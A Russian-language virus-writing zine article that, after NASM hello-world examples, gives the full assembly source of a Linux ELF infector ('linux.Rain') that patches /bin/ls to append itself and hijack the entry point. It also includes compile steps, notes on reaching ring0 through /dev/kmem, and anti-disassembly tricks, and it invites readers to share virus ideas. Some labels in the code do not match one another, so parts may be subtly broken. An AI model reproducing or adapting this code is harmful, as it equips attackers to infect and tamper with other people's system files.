|
|
В предыдущей статье в журнале DVL#10 я опубликовал статью про linux
это ее вторая часть. В этой статье я привуду маленький пример вируса под
linux и описания всякой теорий.
Итак вирусы под платформу Linux
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
После написания всякой мелкой тулзы под linux я понял что лучше всего
использовать синитаксис NASM он более удобнее.
Стандартная программа для навичков. HeLL0 W0rld!!!
BITS 32 ; программа 32 битная
GLOBAL main ; обьявим начало программы
SECTION .text ; секция текста
main: ; начало проги
mov eax,04h ; функция sys_write
mov ebx,01h ; stdout хендле
lea ecx,[message] ; текст сообщения
mov edx,message_end-message ; размер текста программы
int 80h ; запустим функцию с параметрами
mov eax,1 ; выходим из проги
int 80h
SECTION .data
message:
db 'Hello TopDevice!!!',10,13,0 ; текст сообщения
message_end:
Так же можно написать такую программу но без использованния прерывания
int80.
GLOBAL main ; обьявим начало программы
extern puts ; используем функцию puts
SECTION .text ; секция текста
main:
push dword msg ; поместим сообщение
call puts ; покажем сообщения с помощью функций puts
add esp,4
ret ; выходим
SECTION .data
message:
db "Hello TopDevice!!!",0 ; текст сообщения
Это программа копия выше показанной программы только использованнием
функций libc.
Как видете, писать программы на nasm довольно легко это асм более
похож на tasm синтаксис.
Вирусы для Linux
~~~~~~~~~~~~~~~~
Итак простеиший вирус для Linux. Вирус заражает только один файл в
системе linux, файл под названием ls.
;
; linux.Rain
; ~~~~~~~~~~
;
; Компилируем:
; nasm -f elf rain.asm
; gcc rain.o -o rain
; :)
; ./rain
;
;
GLOBAL main ; обьявим начало программы
SECTION .text
hoste:
ret
main:
pusha ; сохраним все рег.
call .getdelta
.getdelta: ; получим delta offset
pop ebp
sub ebp,getdelta
push byte 125
pop eax ; модифичируем mprotect
lea ebx,[ebp+main] ; для дальнеишей работы
and ebx,0xfffff000
mov ecx,03000h
mov edx,07h
int 80h
.infect:
push byte 5 ; откроем файл
pop eax
lea ebx,[ebp+ls] ; /bin/ls :)
mov ecx,02
int 80h
mov ebx,eax ;сохраним имя в ebx
push byte 19 ;функция lseek
pop eax
xor ecx,ecx
xor edx,edx
int 80h
push byte 3 ;функция чтения
pop eax
lea ecx,[ebp+elfheader] ;читаем elf хедер
mov edx,24h
int 80h
cmp word [ebp+elfheader+8],0xDEAD ;проверим заражен файл?
jne infectar ;нет, надо заразить
jmp quit
; зараженние начинается тут
.infectar:
mov word [ebp+elfheader+8],0xDEAD
mov ecx,[ebp+e_phoff]
add ecx,8*4*3
push byte 19 ;функция lseek
pop eax
push ecx
xor edx,edx
int 80h
push byte 3 ;функция чтения
pop eax
lea ecx,[ebp+progheader]
mov edx,8*4
int 80h
add dword [ebp+p_filez],0x2000
add dword [ebp+p_memez],0x2000
push byte 19 ;функуция lseek
pop eax
pop ecx
xor edx,edx
int 80h
push byte 4 ; функция записи
pop eax ; корректируем program header
lea ecx,[ebp+progheader]
mov edx,8*4
int 80h
push byte 19 ;функуция lseek
pop eax
xor ecx,ecx
mov edx,02h
int 80h
mov ecx,dword [ebp+oldentry]
mov dword [ebp+temp],ecx
mov ecx,dword [ebp+e_entry]
mov dword [ebp+oldentry],ecx
sub eax,dword [ebp+p_offset]
add dword [ebp+p_vaddr],eax
mov eax,dword [ebp+p_vaddr] ;поставим новый entrypoint
mov dword [ebp+e_entry],eax
push byte 4 ; функция записи
pop eax
lea ecx,[ebp+main] ; запишем вирус
mov edx,virend-main
int 80h
push byte 19 ;функуция lseek
pop eax
xor ecx,ecx
xor edx,edx
int 80h
push byte 4
pop eax
lea ecx,[ebp+elfheader]
mov edx,24h
int 80h
;con el nuevo entrypoint
mov ecx,dword [ebp+temp]
mov dword [ebp+oldentry],ecx
.quit:
push byte 6 ; функция закрытия файла
pop eax
int 80h
popa ; востановим рег.
db 068h ; опкод push`а
oldentry dd hoste
ret
dir dd main
dw 010h
binls db '/bin/ls',0 ; то что мы будим заражать
datos db 0h
temp dd 0h
newentry db 00h,00h,00h,00h
newfentry db 00h,00h,00h,00h
viraladdr db 00h,00h,00h,00h
elfheader:
e_ident: db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h
e_type: db 00h,00h
e_machine: db 00h,00h
e_version: db 00h,00h,00h,00h
e_entry: db 00h,00h,00h,00h
e_phoff: db 00h,00h,00h,00h
e_shoff: db 00h,00h,00h,00h
e_flags: db 00h,00h,00h,00h
e_ehsize: db 00h,00h
e_phentsize: db 00h,00h
e_phnum: db 00h,00h
e_shentsize: db 00h,00h
e_shnum: db 00h,00h
e_shstrndx: db 00h,00h
jur: db 00h,00h,00h,00h
progheader:
p_type db 00h,00h,00h,00h
p_offset db 00h,00h,00h,00h
p_vaddr db 00h,00h,00h,00h
p_paddr db 00h,00h,00h,00h
p_filez db 00h,00h,00h,00h
p_memez db 00h,00h,00h,00h
p_flags db 00h,00h,00h,00h
p_align db 00h,00h,00h,00h
secentry:
sh_name db 00h,00h,00h,00h
sh_type db 01h,00h,00h,00h
sh_flags db 03h,00h,00h,00h
sh_addr db 00h,00h,00h,00h
sh_offset db 00h,00h,00h,00h
sh_size dd (virend-main)*2
sh_link db 00h,00h,00h,00h
sh_info db 00h,00h,00h,00h
sh_addralign db 01h,00h,00h,00h
sh_entsize db 00h,00h,00h,00h
virend:
Теперь функций которые использовались в вирусе. Простите что на
иностраном.
mprotect 125
~~~~~~~~~~~~~
parameterz:
cont void *addr
size_t len
int prot
info:
control access to a region of memory
return:
-/-
errors:
acces, fault, inval, nomem
ref:
sys/mman.h
read 3
~~~~~~
int fd
void *buf
size_t count
info:
read up to count bytes from file fd into buffer *buf
return:
no. of bytes received, file pointer advanced accordingly
errors:
EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, EISDIR
write 4
~~~~~~~
int fd
void *buf
size_t count
info:
write (up to) count bytes of data from *buf to file fd
return:
no. of sent bytes (if POSIX conforming f.s.)
errors:
EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, ENOSPC, EPIPE
open 5
~~~~~~
const char *pathname
int flags
mode_t mode
info:
open a file or device, create file if not present and corresponding
mode flag set
return:
int fd filedescriptor
errors:
EACCESS, EEXIST, EFAULT, EISDIR, ELOOP, EMFILE,
ENAMETOOLONG, ENFILE, ENOENT, ENODEV, ENODIR,
ENOMEM, ENOSPC, ENXIO, EROFS, ETXTBSY
ref:
sys/types.h, sys/stat.h, fcntl.h
close 6
~~~~~~~
int fd
info:
close a file by fd reference
return:
-/-
errors:
EBADF (-1)
lseek 19
~~~~~~~~
int fd
off_t offset
int whence
info:
change posn. ptr of filedescriptor
return:
off_t ptr posn. re beginning of file
errors:
badf, inval, ispipe
ref:
sys/types.h, unistd.h
Резиденты для Linux
~~~~~~~~~~~~~~~~~~~
Немного о том что я так и не понял в linux.
Многие знают что в Windoze95/98 существуют Ring0/Ring3, так вот в
linux они тоже присудствуют. Я не очень разбирался с переходом в 0 кольцо
но знаю, что это можно сделать пропатчив файлы /dev/kmem или /dev/mem и
мы будим в ring0. Патчит он очень интересно ищет (как я понял) свободное
место в середине файла и если оно найдено записывает себя туда. Потом
перехватывал некоторые системные вызовы и заражал файлы. Так делал вирус
Linux.Staog by Quantum/VLAD. По идеи вирус очень похож на вирус
Win95.Harry того же автора только для Windoze. Вирус Staog уже мне
кажется устарел он был написал 3-4 года назад, вирус давольно интересный
советую его посмотреть. Так же можно стать на время резидентом (ring3) с
помощью mprotect функций и записывания в plt & got секцию, как это
сделать я еще не разобрался.
Если кто то знает более современны способы перехода в ring0 и о
резидентности буду рад если вы расскажите как это сделать.
Anti-Disassembly
~~~~~~~~~~~~~~~~
Немного о том как помещать дизассемблировать ваш вирус. Ниже описаные
команды мешают дизассемблиру нормально продизасмить вирус, он нарывается
на эти команды а потом что то с ним происходит:)
jmp antidebug1 + 2
antidebug1:
.short 0xc606
call reloc
reloc:
popl %esi
jmp antidebug2
antidebug2:
addl $(data - reloc),%esi
movl 0(%esi),%edi
pushl %esi
jmp *%edi
data:
.long 0
дизассм:
~~~~~~~~
.
.
.
8048340: 55 pushl %ebp
8048341: 89 e5 movl %esp,%ebp
8048343: eb 02 jmp 0x8048347
8048345: 06 pushl %es
8048346: c6 e8 00 movb $0x0,%al
8048349: 00 00 addb %al,(%eax)
804834b: 00 5e eb addb %bl,0xffffffeb(%esi)
804834e: 00 81 c6 0f 00 addb %al,0xfc6(%ecx)
8048353: 00
8048354: 00 8b 7e 00 56 addb %cl,0xff56007e(%ebx)
8048359: ff
804835a: e7 00 outl %eax,$0x0
804835c: 00 00 addb %al,(%eax)
804835e: 00 89 ec 5d c3 addb %cl,0x90c35dec(%ecx)
8048363: 90
8048364: 90 nop
(с) Silvio Cesare
The End
~~~~~~~
Я очень буду рад если кто то поделиться своими идеями в написаний
вирусов под Linux.
e-mail: [email protected]
url: www.matrixvx.org
ULTRAS[MATRiX]
Вечно молодой, Вечно пьяный
|
|